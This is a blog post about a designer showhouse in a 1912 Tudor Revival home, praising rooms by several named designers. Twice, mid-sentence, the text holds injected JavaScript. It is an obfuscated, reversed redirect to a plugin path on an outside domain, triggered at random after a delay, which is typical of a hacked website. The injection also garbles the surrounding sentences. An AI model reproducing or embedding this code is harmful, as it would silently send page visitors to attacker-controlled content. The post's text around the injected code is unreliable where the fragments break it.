The house itself is a Tudor Revival home which was built in 1912. Its graciously sized—but not overly grand— rooms were transformed by several local and national designers.

It was wonderful seeing that many of the designers are actually friends and have been on Antiques Diva Tours! The theme of this year’s showhouse is “From High Point toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the World.” How appropriate is that?! Without further ado, let’s recap some of my favorite rooms!

The dining room by Madcap Cottage was fabulous! Jason Oliver Nixon & John Loecke have such an eye for using color and interesting objects.

The most fun room in my opinion was our friend Holly Phillips’ Carriage House Upstairs Living Area. Holly just has a way of mixing object from different eras & styles and making it work. She paired colors that I would never have thought toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to use in the same room and the result was absolutely perfection.

The kitchen and back hall entrance was done by our lovely friend Lisa Mende and it is luxurious, stylish, and comfortable all at once. The combination of deep blue, lime green, and black is so cool. And the patterns she uses are amazing!

Kara Cox has designed the most glamorous jewel box of a dressing room. There’s even champagne chilling on the vanity. If that’s not Diva style, I don’t know what is!

Leslie Moore created a bedroom that doubles as an art studio. And she’s featured southern female artists in this inspiring space! I love that!
